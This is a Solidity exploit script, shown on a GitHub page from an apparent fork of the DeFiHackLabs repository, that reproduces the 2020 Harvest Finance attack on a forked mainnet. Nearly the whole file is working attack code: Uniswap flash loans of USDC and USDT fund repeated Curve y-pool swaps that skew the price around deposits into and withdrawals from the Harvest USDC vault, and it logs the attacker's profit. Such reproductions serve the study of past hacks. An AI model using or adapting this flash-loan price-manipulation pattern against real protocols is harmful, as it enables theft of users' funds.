forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
HarvestFinance_exp.sol
118 lines (107 loc) · 3.79 KB
/
HarvestFinance_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
contract ContractTest is DSTest {
CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
// CONTRACTS
// Uniswap ETH/USDC LP (UNI-V2)
IUniswapV2Pair usdcPair =
IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
// Uniswap ETH/USDT LP (UNI-V2)
IUniswapV2Pair usdtPair =
IUniswapV2Pair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);
// Curve y swap
IcurveYSwap curveYSwap =
IcurveYSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
// Harvest USDC pool
IHarvestUsdcVault harvest =
IHarvestUsdcVault(0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE);
// ERC20s
// 6 decimals on usdt
IUSDT usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
// 6 decimals on usdc
IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
// 6 decimals on yusdc
IERC20 yusdc = IERC20(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);
// 6 decimals on yusdt
IERC20 yusdt = IERC20(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);
// 6 decimals on fUSDT
IERC20 fusdt = IERC20(0x053c80eA73Dc6941F518a68E2FC52Ac45BDE7c9C);
// 6 decimals on fUSDC
IERC20 fusdc = IERC20(0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE);
uint256 usdcLoan = 50000000 * 10**6;
uint256 usdcRepayment = (usdcLoan * 100301) / 100000;
uint256 usdtLoan = 17300000 * 10**6;
uint256 usdtRepayment = (usdtLoan * 100301) / 100000;
uint256 usdcBal;
uint256 usdtBal;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 11129473); //fork mainnet at block 11129473
}
function testExploit() public {
usdt.approve(address(curveYSwap), type(uint256).max);
usdc.approve(address(curveYSwap), type(uint256).max);
usdc.approve(address(harvest), type(uint256).max);
usdt.approve(address(usdtPair), type(uint256).max);
usdc.approve(address(usdcPair), type(uint256).max);
emit log_named_uint(
"Before exploitation, USDC balance of attacker:",
usdc.balanceOf(address(this)) / 1e6
);
emit log_named_uint(
"Before exploitation, USDT balance of attacker:",
usdt.balanceOf(address(this)) / 1e6
);
usdcPair.swap(usdcLoan, 0, address(this), "0x");
emit log_named_uint(
"After exploitation, USDC balance of attacker:",
usdc.balanceOf(address(this)) / 1e6
);
emit log_named_uint(
"After exploitation, USDT balance of attacker:",
usdt.balanceOf(address(this)) / 1e6
);
}
function uniswapV2Call(
address,
uint256,
uint256,
bytes calldata
) external {
if (msg.sender == address(usdcPair)) {
emit log_named_uint(
"Flashloan, Amount of USDC received:",
usdc.balanceOf(address(this)) / 1e6
);
usdtPair.swap(0, usdtLoan, address(this), "0x");
bool usdcSuccess = usdc.transfer(address(usdcPair), usdcRepayment);
}
if (msg.sender == address(usdtPair)) {
emit log_named_uint(
"Flashloan, Amount of USDT received:",
usdt.balanceOf(address(this)) / 1e6
);
for (uint256 i = 0; i < 6; i++) {
theSwap(i);
}
usdt.transfer(msg.sender, usdtRepayment);
}
}
function theSwap(uint256 i) internal {
curveYSwap.exchange_underlying(2, 1, 17200000 * 10**6, 17000000 * 10**6);
harvest.deposit(49000000000000);
curveYSwap.exchange_underlying(1, 2, 17310000 * 10**6, 17000000 * 10**6);
harvest.withdraw(fusdc.balanceOf(address(this)));
emit log_named_uint(
"After swap, USDC balance of attacker:",
usdc.balanceOf(address(this)) / 1e6
);
emit log_named_uint(
"After swap ,USDT balance of attacker:",
usdt.balanceOf(address(this)) / 1e6
);
}
receive() external payable {}
}